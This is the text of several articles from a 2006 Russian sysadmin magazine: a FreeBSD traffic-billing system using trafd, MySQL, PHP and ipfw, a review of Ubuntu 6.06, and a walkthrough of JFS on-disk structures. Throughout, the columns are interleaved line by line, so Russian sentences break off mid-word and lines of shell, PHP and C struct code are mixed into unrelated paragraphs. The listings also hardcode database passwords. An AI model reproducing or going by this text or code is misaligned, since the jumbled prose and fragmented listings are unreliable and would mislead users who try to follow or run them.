Примечание: порт net/cvsup зависит от системы to:"'%s',"
Modula-3, которой потребуется существенный объем вре- sport:"'%s',"
dport:"'%s',"
мени и пространства на диске для загрузки и установки, по- proto:"'%s',"
этому обычно автор устанавливает cvsup из пакетов. bytes:"%ld, "
psize:"%ld, "
ftime:"'%y-%m-%d %T',"
Настройка trafd ltime:"'%y-%m-%d %T');\n"
Настройка основных параметров trafd осуществляется };
в файле rc.conf, как и должно быть у всякого порядочного
демона для системы FreeBSD.
Командные файлы
trafd_enable="YES" Были написаны два командных файла для связки trafd
trafd_ifaces="rl0 xl0" и MySQL: trafd_dump.sh и trafd_to_mysql.sh.
trafd_flags="-p -r" Краткое описание выполняемых действий: trafd_dump.sh
trafd_pid="/var/run/trafd" даёт команду trafd скинуть данные по трафику на всех про-
слушиваемых им интерфейсах во временные файлы. Ин-
Полезна возможность пакета программ trafd, позволя- формация об успехе или неуспехе подачи команды сохра-
ющая существенно сэкономить усилия при написании бил- няется в syslogd.
линга, который в качестве анализатора трафика использу-
ет trafd – не надо писать свой парсер логов. В состав паке- Файл trafd_dump.sh
та программ trafd входит утилита traflog, которая может эк- #!/bin/sh
спортировать данные по трафику в любой текстовой файл
. /etc/rc.conf
в соответствии с форматом, заданным в её конфигураци-
онном файле – traflog.format. for iface in ${trafd_ifaces}; do
if [ -f ${trafd_pid}.${iface} ]; then
В traflog.format был прописан формат sql-команды insert kill -INT `cat ${trafd_pid}.${iface}`
для нашей базы. logger -t trafd_dump "signaling trafd on ${iface} ↵

Альтернативные варианты
биллинга использования
Интернета
Первый: proxy-сервер. Давать пользо-
вателям доступ в Интернет только че-
рез proxy-сервер Squid, без использова-
ния NAT.
Преимущества:
 широкие возможности аутентифика-
ции;
 очень гибкая возможность ограничения
доступа к определённым ресурсам;
 наличие в свободном доступе в Интер-
нете обновляемых баз ресурсов пор-
нографического/эротического, развле-
кательного и т. п. характера;
 полный протокол всех посещенных
пользователем страниц (а не только
серверов, как в случае протоколиро-
вания TCP-трафика) c указанием да-
ты, времени и количества байт;
 возможность блокировки рекламных
баннеров, что позволяет тем самым
экономить трафик как организации,
так и пользователям;
 кэш единож ды загруженных стра-
ниц, позволяющий экономить тра-
фик при посещении одним пользова-
телем ресурса, который уже смотрел
другой;
 наличие мощной и гибкой системы
построения отчётов и несложного
биллинга SARG (Squid Analysis Report
Generator) (http://sarg.sourceforge.net).
Недостатки:
 не все программы поддерживают ра-
боту через proxy-сервер;
 невозможность отключения пользова-
теля сразу при превышении им уста-
новленного лимита трафика.
Второй: NeTAMS. Использовать бил-
линговую систему NeTAMS (http://www.
netams.com) – очень мощную и гибкую, под-
держивающую множество методов сбора
информации о трафике (tee, divert, ip_queue,
ulog, libpcap, netflow v5, netflow v9, netgraph)
и её хранения (MySQL, PostgreSQL). Единс-
твенный недостаток – отсутствие подроб-
ной статистики посещённых пользовате-
лем ресурсов. То есть для этой системы
это, наверное, и не недостаток – у неё не-
сколько другие задачи, в первую очередь
сбор информации о трафике с сетевых ус-
тройств фирмы Cisco, а для моего случая
это недостаток.
Третий: VPN или PPPoE. Доступ в Ин-
тернет можно предоставлять через VPN
или PPPoE-подключение к роутеру. Для на-
шего случая при отсутствии видимых плю-
сов, оказалось много минусов:
 переучивание пользователей процеду-
ре подсоединения к Интернету;
 перенастройка всех компьютеров поль-
зователей;
 освоение отдельной большой темы сис-
темным администратором (возмож-
но, его придётся отправлять на курсы
повышения квалификации, возможно,
он освоит это сам, но в любом случае,
больше знания/умения – больше зара-
ботная плата; в случае ухода – дороже
нанять нового);
 усложнение системы (а значит, сниже-
ние надёжности – это аксиома) из-за
наличия и связывания большего коли-
чества программ на роутере – на сервер
придётся установить большое количес-
тво дополнительно программного обес-
печения (за найденными уязвимостями
и выпущенными обновлениями для ко-
торого тоже необходимо следить);
 дополнительная нагрузка на сервер
за счёт использования дополнитель-
ного программного обеспечения;
 дополнительная нагрузка на сетевую
инфраструктуру предприятия из-за
увеличения объёма трафика за счёт
шифрования.

36
 администрирование
dump to file"
else
logger -t trafd_dump "trafd on ${iface}: ↵
file ${c_pid} not found (trafd don't listen ↵
on ${iface}?)"
fi
done
Рисунок 1. Интерфейс биллинговой системы, каким его видит
пользователь
Trafd_to_mysql.sh импортирует данные по трафику
на всех прослушиваемых trafd интерфейсах из времен-
ных файлов, созданных trafd_dump.sh, в базу MySQL. Ин-
формация об успехе или неуспехе подачи команды сохра-
няется в syslogd.

Файл trafd_to_mysql.sh

#!/bin/sh

. /etc/rc.conf

for iface in ${trafd_ifaces}; do

if [ -f /var/trafd/trafd.${iface} ]; then
logger -t trafd_to_mysql "inserting traffic data ↵
for ${iface} into mysql"
/usr/local/bin/traflog -a -o my_sql -n -i ↵
/var/trafd/trafd.$iface | ↵
/usr/local/bin/mysql -u insert_user ↵
-p123456789 traffic
rm /var/trafd/trafd.$iface
else Рисунок 2. Интерфейс администратора сразу после загрузки
logger -t trafd_to_mysql "failed to insert ↵ страницы
traffic data for ${iface} into mysql: ↵
file /var/trafd/trafd.${iface} not found"
fi
done

Эти два файла должны регулярно запускаться. Насколь-

ко регулярно – зависит от интенсивности трафика на ро-
утере. Для наших условий нормально делать это каждые
пять минут.
Прописываем в /etc/crontab:

*/5 * * * * root ↵
/usr/home/root/sbin/trafd_dump.sh && sleep 30 && ↵
/usr/home/root/sbin/trafd_to_mysql.sh

Веб-интерфейс системы учёта трафика

Просмотр статистики – как пользователем, так и админис-
тратором – производится через веб-интерфейс (выполнен
в виде HTML-страниц с кодом на языке PHP внутри) лю-
бым браузером.
При открытии в браузере ресурса, который размещён
по назначенному администратором для страницы статис-
тики адресу, пользователь сразу видит имеющуюся в ба-
зе данных информацию об IP-адресе, с которого он зашел
на страницу статистики (см. рис. 1).
Администратор открывает страницу admin.htm, находя-
щуюся в том же каталоге, что и интерфейс пользователя,
или в другом – по его желанию.
Защита интерфейса администратора от несанкциони-
рованного доступа может быть реализована различными
способами. Например, если в качестве веб-сервера исполь-
зуется Apache, можно воспользоваться файлами .htaccess
и .htpasswd.
Экран администратора разделён на две части: в верх-
ней – меню, в нижней – таблица с результатами запроса.
Сразу при открытии показывается таблица трафика за се-
годняшний день и за текущий месяц (см. рис. 2).
Рисунок 3. Список, выдаваемый в результате нажатия на кнопку
«Список IP-адресов сети + входящий и исходящий трафик»
В выпадающих списках «Период» задаётся период,
по которому мы хотим получить информацию.
Кнопка «Список IP-адресов сети + входящий и исходя-
щий трафик» – выводит полную информацию обо всех име-
ющихся в базе данных IP-адресах внутренней сети, а так-
же количество входящего и исходящего трафика для каж-
дого из них за указанный период (см. рис. 3).
Кнопка «Подробная для IP-адреса» – выводит список
всех входящих и исходящих соединений для IP-адреса, за-
данного в поле ввода с таким же названием. По сути, это
просто дамп базы данных с отбором по заданному IP-ад-
ресу. Зелёным цветом обозначен входящий трафик, жел-
тым – исходящий (см. рис. 4).
Кнопка «Суммарная – по хостам – для IP-адреса» – вы-
водит список всех входящих и исходящих соединений для
IP-адреса, заданного в поле ввода с таким же названием.
При этом для каждого IP-адреса из списка считается сум-
марный трафик, и таблица сортируется по убыванию. Зелё-

№8, август 2006 37

 администрирование
Рисунок 4. Подробная статистика для IP-адреса
Рисунок 5. Статистика для IP-адреса с группировкой по хостам,
с которыми были соединения
ным цветом обозначен входящий трафик, желтым – исхо-
дящий (см. рис. 5.).
Биллинг
Итак, мы установили и запустили в эксплуатацию два мо-
дуля системы биллинга из трех. Но учитывать и выводить
информацию об использованном трафике недостаточно:
полноценная система биллинга должна также содержать
в себе лимиты входящего и исходящего трафика, задава-
емые для каждого пользователя, и обеспечивать отключе-
ние соответствующего пользователя при превышении им
допустимых лимитов. Ниже рассматривается вопрос напи-
сания и установки основного модуля системы биллинга, ко-
торый служит этим целям.
Настройка ОС FreeBSD
По результатам работы биллинга какие-то IP-адреса долж-
ны получать доступ в Интернет, а какие-то – нет. В системе
это осуществляется путём добавления IP-адресов, которым
разрешен доступ в Интернет, в таблицу №0 (table 0) встро-
енного firewall FreeBSD ipfw. Файл инициализации правил
ipfw.rules может содержать среди прочих такие строки:
# Переменные ${iif} и ${iip} заданы в файле rc.conf
# ${iif} – имя интерфейса (сетевой карты) внутренней сети
# роутера
38
# ${iip} – внутренний IP-адрес роутера
#
# Disallow users access to our proxy
${fwcmd} add deny log ip from not table\(0\) to ${iip} 3128
# Disallow users to have Internet
${fwcmd} add deny log ip from not table\(0\) ↵
to any in via ${iif}
Чтобы биллинг запускался при старте системы, во-пер-
вых, нужно прописать в /etc/rc.conf:
adc_billing_enable="YES"
Во-вторых, нужно создать в /usr/local/etc/rc.d/ файл
adc_billing.sh с приведённым ниже содержанием:
1 : #!/bin/sh
2 : # PROVIDE: adc_billing
3 : # REQUIRE: mysql
4 : # KEYWORD: shutdown
5 : # Add the following lines to /etc/rc.conf to enable
adc_billing:
6 : #adc_billing_enable="YES"
7 : . /etc/rc.subr
8 : name="adc_billing"
9 : rcvar=`set_rcvar`
10:command="/usr/home/root/sbin/adc_billing.php"
11: stop_cmd="adc_billing_stop"
12: adc_billing_enable=${adc_billing_enable:-"NO"}
13: adc_billing_stop()
14: {
15: echo 'Stopping '${name}'.'
16: }
17: load_rc_config $name
18: run_rc_command "$1"
Давайте разберём построчно, что делается в скрипте
adc_billing.sh. Номера строк приведены для удобства рас-
сказа о его содержимом:
1. «Магическая последовательность» символов «#!», со-
общающая текущему командному интерпретатору, что за ней
следуют путь и имя того командного интерпретатора, в ко-
тором данный сценарий должен выполняться. Лучше всего
стартовые скрипты (в каталог /usr/local/etc/rc.d) писать на
языке sh, во-первых, очень удобная возможность задания
очередности пуска скрипта (см. пояснение к строкам 3 и 4,
а также rcorder(8)), во-вторых, приходится заново писать весь
код, уже существующий в rc.subr и, в-третьих, в силу во-пер-
вых и во-вторых, это противоречит идеологии системы.
2. Имя сервиса, с которым работает данный скрипт.
3. Имя одного или нескольких сервисов, которые должны
быть запущены до данного скрипта. Регистр имеет значение,
поэтому имя сервиса должно быть указано точно так, как
оно написано в соответствующем скрипте в # PROVIDE
4. Ключевое слово. В нашем скрипте оно одно –
shutdown. Благодаря его присутствию, наш скрипт будет вы-
зываться скриптом /etc/rc.shutdown при выключении и пе-
резагрузке системы.
5, 6. Напоминание об имени и возможных значениях пе-
ременной, которая, будучи добавлена в rc.conf, управляет
работой данного скрипта.
7. В файле /etc/rc.subr содержатся функции для выполне-
 администрирование

Из истории развития стартовых
скриптов BSD-систем
Когда-то в BSD-системах был один стар-
товый скрипт – /etc/rc. Процесс init(8) вы-
зывал его при запуске ОС для выполне-
ния всех действий, которые надо сделать
в однопользовательском окружении (про-
верка дисков, монтирование разделов, ус-
тановка параметров сети, запуск различ-
ных демонов и т. д.). Конечно же, список
этих действий не одинаков для различ-
ных систем, и администраторам приходи-
лось подгонять его под свои нужды путём
редактирования файла /etc/rc. Найти нуж-
ные строки в длинном файле было боль-
шой проблемой.
Другим недостатком такой системы бы-
ла невозможность перезапуска какого-ли-
бо одиночного сервиса.
В связи с этим сообществом разра-
ботчиков NetSBD была создана система
rc.d, которая позднее была импортирова-
на во FreeBSD.
Вот идеи, положенные в её основу:
 Модульность – для каждой задачи
свой скрипт, используя который мож-
но запустить, остановить или узнать
статус сервиса.
 Повторное использование кода – ти-
пичные операции, выполняемые боль-
шинством скриптов, выполнены в ви-
де функций на языке sh и собраны
в /etc/rc.subr. Благодаря этому типовые
rc.d-скрипты могут быть длиной всего
лишь в несколько строк.
Подробную информацию по rc.d-скрип-
там можно найти в руководстве по FreeBSD –
темы rc(8), rc.subr(8), rcorder(8), rc.conf(5),
а также в статье Yar Tikhiy «A practical guide
to BSD rc.d scripting» по адресу: http://people.
freebsd.org/~yar/rcng/article.html.

ния типичных операций. Ими рекомендуется пользоваться Основная программа биллинга

всем rc.d скриптам. Естественно, для того чтобы ими поль- Краткое описание выполняемых действий: adc_billing.php
зоваться, нужно включить их в текущий скрипт, что и де- запрашивает у MySQL сумму трафика за текущий месяц
лается в этой строке. (из таблицы Log) по каждому IP-адресу (из перечисленных
8. Задание обязательной для rc.subr переменной «name» в таблице Ip), у которого поле Ip.quota не равно NULL, и за-
значения – имени скрипта. Должна быть установлена до вы- тем, если число вычисленного трафика меньше значения
зова любой из функций, содержащихся в rc.subr. Ip.quota, добавляет этот IP-адрес в таблицу №0 (table 0)
9. Получение имени переменной, изменением значе- firewall ipfw.
ния которой разрешается или запрещается запуск наше-
го сервиса. (Причиной существования функции «set_rcvar» #!/usr/local/bin/php
являются различия в соглашении об именовании таких пе- <?
ременных во FreeBSD и NetBSD. Во FreeBSD в rc.conf пишут $link = mysql_connect("localhost", "view_user", ↵
"987654321") or die("Could not connect: ↵
«service_enable="YES"», а в NetBSD – «service="YES"».) " . mysql_error());
10. Переменная, значение которой – командная строка mysql_select_db("traffic") ↵
or die("Could not select database");
для запуска нашего сервиса. Если она задана, rc.subr бу-
дет действовать по сценарию обслуживания стандартного $query = "
SELECT Ip.ip,
демона. В частности, предоставляются методы по умолча- Ip.quota,
нию для следующих аргументов скрипта: start, stop, restart, Tbl.bytes
FROM
status, poll, rcvar. (
11. Определение имени функции, которая будет вызвана SELECT
Log.ip_to,
при запуске нашего скрипта с аргументом «stop». Как видно SUM(Log.all_bytes) AS bytes
из строк 13-16, в ней ничего не делается, кроме вывода со- FROM
Log
общения. Это не является строго необходимым, но мне ка- WHERE
жется, что так правильнее и красивее, к тому же, это задел Log.ip_to LIKE '192.168.0.%'
AND Log.first_time LIKE '" . date("Y-m") . "-%'
на будущее – если биллинг так разовьётся, что нужно будет GROUP BY
делать какие-либо действия при его выключении. Log.ip_to
) Tbl
12. Если переменная, определяющая запуск нашего RIGHT JOIN
скрипта, в rc.conf не декларирована, то она объявляется Ip ON Ip.ip = Tbl.ip_to
WHERE
и ей присваивается значение «NO». Тем самым мы избе- Ip.quota IS NOT NULL
гаем запуска скрипта. AND (Tbl.bytes < Ip.quota OR Tbl.bytes IS NULL);
";
17. Загрузить переменные из rc.conf.
18. Вызов основной функции из rc.subr(8) для выполне- $result = mysql_query($query) or die("Query N1 failed: ↵
" . mysql_error());
ния действия, ради которого скрипт был запущен. При этом
она (функция) будет использовать переменные и другие exec("/sbin/ipfw table 0 flush");
функции, определённые в скрипте. Обычно это последняя while ($row = mysql_fetch_object($result))
строка скрипта. {
exec("/sbin/ipfw table 0 add " . $row->ip);
Необходимо, чтобы основная программа биллинга за- }
пускалась каждые 10 минут и обновляла правила firewall ?>
в соответствии с информацией из базы данных. Для этого
в файл /etc/crontab добавляется следующая строка: Надеюсь, что описанные в статье методика и набор про-
грамм, доведённые в процессе уже достаточно длительной
*/10 * * * * root ↵ эксплуатации до того уровня, на котором они существуют
/usr/home/root/sbin/adc_billing.php
сегодня, помогут вам решать аналогичные задачи.

№8, август 2006 39

 администрирование
Обзор дистрибутива Ubuntu 6.06
Вышла новая версия уже почти культового дистрибутива, который, ворвался на рынок
Linux-систем и по показателю популярности оставил позади таких «монстров», как Fedora Core
и openSUSE. Теперь он нацеливается и на корпоративный сектор.
Предыстория
Когда Марк Шаттлворт, неплохо заработав в период расцве-
та «дот-комов», решил, что пора возвращать миру «долги»,
он избрал своим полем деятельности поддержку открыто-
го ПО. Одним из наиболее заметных результатов его рабо-
ты и финансовых вложений стал дистрибутив Ubuntu, став-
ший отражением представлений Марка об идеальной опе-
рационной системе.
Основная идея, заложенная в Ubuntu, – свободные про-
граммы должны быть действительно свободными и доступ-
ными каждому. Реализуется это, во-первых, абсолютной
бесплатностью дистрибутива (вы даже можете восполь-
зоваться программой Ship-It на сайте проекта и получить
диск с дистрибутивом по почте, не потратив ни копейки). Во-
вторых, разработчики прилагают огромные усилия для то-
го, чтобы каждый, независимо от его «степени готовности»
к Linux-решениям, чувствовал себя в системе легко и сво-
бодно. Поэтому очень большое внимание уделяется пере-
воду интерфейса чуть ли не на все языки мира.
Ещё одна концепция Ubuntu – «одна задача – одно при-
ложение». Здесь вам не придётся выбирать текстовый ре-
дактор среди десятков пунктов в меню – разработчики
включили в дистрибутив только один редактор, зато, по
их мнению, самый лучший. Аналогичная ситуация и с дру-
Рисунок 1. Инструмент для работы с дисковыми разделами,
в чём-то даже удобнее QtParted
40
Сергей Супрунов
гими приложениями. Опытных пользователей это вряд ли
обрадует, а вот новички смогут сразу приступить к работе,
не теряясь во множестве вариантов.
В основе дистрибутива Ubuntu лежит Debian, так что
пользователи получают всю мощь и гибкость этой систе-
мы, огромные репозитарии deb-пакетов, превосходную до-
кументацию, а также всегда могут рассчитывать на добро-
желательность сообщества.
Установка
В отличие от версии 5.10, где во время инсталляции ещё
просматривались черты «родителя» (установка там выпол-
нялась в текстовом режиме, хотя псевдографика и делала
диалоги удобными и понятными), версия 6.06 пошла другим
путём. Здесь реализована идея «инсталлятор как прило-
жение», когда система загружается в режиме LiveCD, а ус-
тановка на винчестер выполняется программой, запускае-
мой как обычное приложение. Впервые такую концепцию я
наблюдал в Gentoo 2006.0 для архитектуры x86, и, несмот-
ря на «кривость» той реализации, идея показалась весь-
ма интересной.
Таким образом, вы убиваете сразу двух зайцев: проверя-
ете совместимость дистрибутива с вашим «железом» ещё
до того, как выделите для системы место на вашем жёст-
ком диске. И получаете в своё распоряжение универсаль-
ный CD-диск, который после инсталляции сохраняет свою
полезность, поскольку его можно использовать и как пол-
ноценный LiveCD с такими приложениями, как Gimp, Firefox,
OpenOffice.org.
Итак, загрузившись с LiveCD и убедившись, что есть
и звук, и сеть, и видео (для этого в папке Examples лежат
файлы различных форматов), щёлкаем по иконке «Install».
Установка выполняется в шесть шагов, начиная с выбора
языка (есть и русский), и не требует никаких усилий. Ис-
ключение составляет разве что 5-й шаг, где вам предсто-
ит подготовить место на диске, если вы не планируете его
полностью очистить (рис. 1).
После установки – традиционная перезагрузка, и всё
готово к работе. Кстати, версия 5.10 у меня отказывалась
 администрирование
ставить Grub, сославшись на какую-то несовместимость
с SATA-дисками. В 6.06 Grub был установлен без лишних
вопросов.

Хочу права root!

Да, пароль root у вас никто не спросит. Нужны права супер-
пользователя? Просто выполняйте каждую команду через
sudo. Кстати, если очень захочется поработать в системе
как root, наблюдая слева привычную «решёточку», введи-
те «sudo su-» и наслаждайтесь.

Встречаем по одёжке
Первое, что приятно удивило, – очень качественная руси-
фикация (интерфейс Gnome, пункты меню, всплывающие Рисунок 2. Работа с сетью – тоже на уровне
подсказки, справочная информация – всё поражает высо-
ким качеством перевода).
Рабочее окружение – Gnome 2.14, ядро – 2.6.15. Да и
можно отметить, что версии установленного ПО подобра-
ны самые свежие. Тем не менее появившаяся в 6.06 служ-
ба автоматических обновлений сразу же предложила пос-
тавить 132 обновления. К сожалению, эти обновления не
ранжированы по степени критичности (как это сделано, на-
пример, в OpenSUSE), а на закачку 184 Мб без разбора от-
важится не каждый, равно как и «копаться» в сотне паке-
тов. Впрочем, лиха беда начало – в следующей версии, бу-
дем надеяться, увидим и ранжирование.
Наконец-то на моей «Тошибе» нормально заработал
спящий режим. Правда, по занимаемому времени переход Рисунок 3. Работа с пакетами: легко, удобно, аккуратно...
в него и возврат не сильно отличаются от полного выклю-
чения, но тем не менее – новость приятная. ществом. При необходимости можно поставить и проприе-
Очень понравилась работа Samba – ресурсы домаш- тарные приложения, для которых имеются deb-пакеты. На-
ней Windows-машины стали доступны сразу же после ин- пример, с установкой Opera никаких проблем не возникло –
сталляции системы, без каких-либо дополнительных на- двойной щелчок, и в меню, в разделе «Интернет», появился
строек (рис. 2). дополнительный пункт. Естественно, вы можете в полном
Из приятных мелочей отмечу поддержку «из коробки» объёме использовать и консольные утилиты dpkg.
скроллинга при помощи правого края тачпада моего ноут-
бука. В 5.10 мне его сильно не хватало. Хотя это скорее за- И целого мира мало?
слуга обновлённой версии X-сервера. Начиная с версии 6.06 для Ubuntu декларируется долго-
Ещё одно «косметическое», но удобное новшество – ин- срочная поддержка. Так, для серверных версий обнов-
дикатор прогресса при размонтировании usb-flash. Рань- ления будут доступны в течение пяти лет, для рабочих
ше окончание синхронизации данных приходилось отсле- станций – в течение трёх. Подобный шаг свидетельству-
живать по светодиоду самой «флэшки», теперь же вы точ- ет о стремлении Ubuntu занять своё место и в корпора-
но будете знать момент, когда устройство уже можно отсо- тивном секторе.
единять физически. Пока что состав дистрибутива больше ориентирован на
Из недостатков от прежних версий сохранилось отсутс- домашнего пользователя, чем на офисных клерков. Тем не
твие русских шрифтов в текстовой консоли (переход в ко- менее хорошая поддержка сетей Windows и мощный офис-
торую выполняется по <Ctrl-Alt-Fx>) – система пытается об- ный пакет «из коробки» будут не лишними в локальной сети
щаться с вами по-русски, но в результате на экране – одни предприятия. К тому же имеющиеся версии дистрибутива
квадратики. Впрочем, это легко «лечится» установкой па- для всех основных архитектур (x86, AMD64, Mac, PowerPC) –
кета console-cyrillic. Кстати, о пакетах… хороший задел на будущее.

Работа с пакетами Послесловие

Debian есть Debian, так что к вашим услугам вся мощь ко- У меня сложилось впечатление об Ubuntu как об удачном
манд apt и aptitude (рис. 3). Для тех, кто не очень жалует дистрибутиве как для домашнего использования, так и для
командную строку, по-прежнему во всей красе доступен попыток «пересадить» на открытые приложения пользова-
Synaptic в двух видах: упрощённый «пользовательский» телей локальной сети небольшого предприятия.
и так называемый расширенный. По умолчанию подклю- Ребята из Canonical и сотни добровольцев сделали
чены только «официальные» репозитарии, но в настрой- (и продолжают делать в хорошем темпе) всё возможное,
ках легко добавить и остальные, поддерживаемые сооб- чтобы Ubuntu смог использовать каждый.

№8, август 2006 41

 администрирование

Как устроена
файловая система JFS

Андрей Пешеходов
JFS, файловая система последнего поколения от IBM, спроектирована стройно и четко,
алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации.
Но показатели ее производительности не впечатляют. Попробуем разобраться, в чем же дело.

Истоки технологии JFS тирования. В OS/2 Warp Client она бы- тывал reiserfs. Ни одна из указанных
IBM представила свою файловую сис- ла включена в октябре 2000 года. Па- ФС не была полностью функциональ-
тему для UNIX как JFS с первым рели- раллельно с этими усилиями в 1997 на в Linux в 1999 году, и IBM решила,
зом AIX v3.1 в 1990 году. Эта ФС, из- году часть разработчиков JFS верну- что JFS является достаточно сильной
вестная сейчас как JFS1, была основ- лась в команду сопровождения AIX технологией и добавит вес набираю-
ной для AIX в течение 10 лет. Пять лет и занялась адаптацией кода новой JFS щему силу Linux.
спустя была начата работа по ее усо- к этой ОС. К маю 2001 года Enhanced Программисты из IBM посовето-
вершенствованию с целью улучшения Journaled File System (называемая вались с основными разработчиками
масштабируемости и реализации эф- JFS2) была доступна для AIX 5L. В де- файловых систем Linux на счет воз-
фективной поддержки SMP-систем. кабре 1999 года был сделан срез можности добавления еще одной жур-
Также ставилась задача улучшения пе- (snapshot) оригинального дерева ко- налируемой ФС. Одно из основных по-
реносимости ФС для обеспечения ее да JFS, и началась работа по ее пере- ложений философии Linux: выбор –
портирования и в другие операцион- носу в Linux. это хорошо, поэтому идея еще одной
ные системы (код JFS1 был очень тес- ФС была встречена с энтузиазмом.
но привязан к менеджеру памяти AIX, Портирование IBM воспользовалась поддержкой
и вряд ли смог бы эффективно рабо- К декабрю 1999 года уже существо- сообщества Open Source. Команда
тать в OS/2 или Linux). вали 3 перспективные ФС, только JFS последовала совету сообщества:
Новая Journaled File System, на ко- разрабатываемые или переносимые «release early and release often» (до-
торой основана Linux-версия JFS, бы- в Linux. ext2 была в процессе добав- словно: «выпустить рано и выпускать
ла впервые представлена с OS/2 Warp ления журналирования (ext3), SGI на- часто»), и привлекла множество сто-
Server в апреле 1999 года, после не- чала перенос своей файловой систе- ронних разработчиков к переносу JFS
скольких лет проектирования и тес- мы XFS с IRIX, и Hans Reiser разраба- в Linux. Всего через 3 месяца после на-

42
 администрирование
чала работ (в феврале 2000) был выпущен первый Linux-ре- /* Двоичный логарифм (s_bsize/s_pbsize) */
__le16 s_l2bfactor;
лиз JFS. Он включал в себя функции mount/unmount и под-
держку программы ls. /* Размер физического блока в байтах */
__le32 s_pbsize;
Рассмотрим особенности устройства и реализации JFS
более подробно. /* Двоичный логарифм s_pbsize */
__le16 s_l2pbsize;

Дисковый раздел /* Дополнение (для выравнивания) */

__le16 pad;
Файловая система JFS создается на разделе (partition).
Дисковый раздел, с точки зрения JFS, имеет следующие /* Размер allocation-группы в логических блоках */
__le32 s_agsize;
параметры:
 Фиксированный размер блока, PART_BSize, который /* Атрибуты тома (см. jfs_filsys.h) */
__le32 s_flag;
может принимать значения 512, 1024, 2048 или 4096 байт.
Этот параметр определяет размер наименьшего эле- /* Сосотяние JFS(mount/unmount/recovery),
* см. jfs_filsys.h */
мента обмена данными с разделом. Он соответствует __le32 s_state;
размеру физического сектора того диска, на котором
/* >0 если задействовано сжатие данных */
расположен раздел, и чаще всего равен 512 байт. __le32 s_compress;
 Размер раздела, величину PART_NBlocks, содержа-
/* Первый экстент вторичной таблицы inode тома */
щую количество дисковых блоков на разделе. pxd_t s_ait2;
 Абстрактное адресное пространство:
/* Первый экстент вторичной карты inode тома */
[0,(PART_NBlocks-1)] дисковых блоков. pxd_t s_aim2;

/* Адрес устройства, на котором расположен

Логический том * журнал */
Для соответствия стандарту DCE DFS (Distributed Computing __le32 s_logdev;
Environment Distributed File System – распределенная файло- /* Номер mount-сессии */
вая система для распределенной среды вычислений) JFS __le32 s_logserial;
отделяет понятие пула дискового пространства от понятия /* Встроенный экстент журнала */
монтируемого поддерева именованных объектов файловой pxd_t s_logpxd;
системы. Дисковый раздел представлен в JFS логическим /* Встроенный экстент рабочего пространства
томом (aggregate в действительности означает «совокуп- * для fsck */
pxd_t s_fsckpxd;
ность», «целостность», но для удобства мы будем называть
его томом), а совокупность файлов и каталогов именуется /* Время последнего обновления */
struct timestruc_t s_time;
файлсетом (fileset – набор фалов). Существует в точности
один логический том на физическом разделе, файлсетов /* Количество блоков, зарезервированных
* для служебного журнала fsck. */
же может быть несколько (в Linux эта возможность не под- __le32 s_fsckloglen;
держивается из-за ограничений интерфейса VFS). В пер-
/* Определяет, какой из сервисных логов fsck
вом релизе JFS поддерживала только один набор файлов * наиболее свежий:
на том, однако все метаданные были спроектированы для * 0 – в логах еще нет данных
* 1 – первый
более общего случая. * 2 - второй */
Логический том состоит из следующих частей: s8 s_fscklog;
 32 Кб неиспользуемого дискового пространства в нача- /* Имя тома. Должно быть 11 байт длиной
ле. * для соответствия требованиям к загрузочному
* сектору OS/2. Используется только если
 Первичный и вторичный суперблоки, содержащие гло- * s_version = 1 */
бальную информацию о данном томе. Вторичный супер- char s_fpack[11];
блок есть точная копия первичного, положение обоих /* Параметры */
на диске фиксировано. Структура суперблока описана __le64 s_xsize;
pxd_t s_xfsckpxd;
в jfs_superblock.h: pxd_t s_xlogpxd;

/* char s_uuid[16]; /* 128-битный uuid тома */

* Суперблок логического тома char s_label[16]; /* Метка тома */
*/ /* 128-битный uuid устройства с журналом */
struct jfs_superblock { char s_loguuid[16];
char s_magic[4]; /* Magic-номер */ };

__le32 s_version; /* Вверсия */  Два экземпляра таблицы inodes тома, содержащей

/* Размер тома в физических блоках, для VFS - inodes, описывающие глобальные управляющие струк-
* количество блоков */ туры тома. Логически это просто массивы inodes. Так как
__le64 s_size;
том не имеет структуры каталога, объекты, описывае-
/* Размер блока тома в байтах, для VFS – мые этими inodes, не видны в пространстве имен како-
* размер фрагмента */
__le32 s_bsize; го-либо файлсета.
/* Двоичный логарифм s_bsize */
 Две копии карты размещения inodes, описывающей таб-
__le16 s_l2bsize; лицу inodes тома.

№8, август 2006 43

 администрирование
 Карта размещения блоков, описывает структуры, управ- ция resizefs), максимальное количество AGs ограничено 128.
ляющие выделением и освобождением блоков тома.
 Рабочее пространство для fsck, необходимое для отсле- ный размер одной AG – в 8192 блоков тома. Число, выра-
живания выделения блоков тома. Оно необходимо пото-
му, что JFS поддерживает очень большие тома, и дан-
ные о выделенных/свободных блоках могут не помес-
титься в памяти. Это пространство описывается супер-
блоком. Один байт необходим для описания 8 блоков
(по 1 биту на блок). Рабочее пространство fsck всегда
расположено в конце тома.
 Встроенный журнал, обеспечивающий место для жур-
налирования изменений метаданных тома. Описывает-
ся суперблоком и всегда расположено за рабочим про-
странством fsck.
Состав таблицы inodes тома таков:
 Inode 0 зарезервирован.
 Inode 1 описывает все дисковые блоки тома, включая
карту inodes. Это рекурсивное представление, при ко-
тором сам inode расположен в файле, который он опи-
сывает. Очевидная трудность рекурсивного представле-
ния преодолевается здесь путем размещения по край-
ней мере первого inode тома в фиксированном месте
(через 4 Kb после первичного суперблока тома). Таким
образом, JFS может просто отыскать inode 1, а от не-
го и остальные inodes таблицы – следуя по B+ дереву
в inode 1. Для репликации таблицы inodes тома JFS так-
же должна находить копию inode 1 – для достижения ос-
тавшейся вторичной таблицы. Для этих целей в суперб-
локе есть поле, содержащее дескриптор экстента, опи-
сывающий положение inode 1 вторичной таблицы.
 Inode 2 описывает карту размещения блоков тома.
 Inode 3 описывает встроенный журнал (когда ФС смон-
тирована). Дисковая копия этого inode не указывает
на какие-либо данные, его поля заполняются только
в in-memory образе.
 Inode 4 описывает файл плохих блоков, найденных
при форматировании тома.
 Inodes с 5-го по 15-й зарезервированы.
 Начиная с 16-го, существует по 1 inode на каждый файл-
сет. Эти inodes описывают управляющие структуры, пред-
ставляющие набор файлов. С добавлением новых набо-
ров файлов к тому таблица inodes тома может расти.
Allocation groups
Allocation groups (AGs, группы размещения) разбивают про-
странство тома на части и позволяют политике выделения
ресурсов JFS использовать хорошо известные методы
для достижения высокой производительности ввода/вы-
вода. Во-первых, JFS пытается группировать вместе дис-
ковые блоки и inodes для связанных данных. Во-вторых,
ФС старается распределить несвязанные данные по всему
тому для согласования размещения. AGs в пределах тома
идентифицируются отсчитываемым от нуля индексом, име-
нуемым номером AG.
Размеры AGs выбираются таким образом, чтобы они
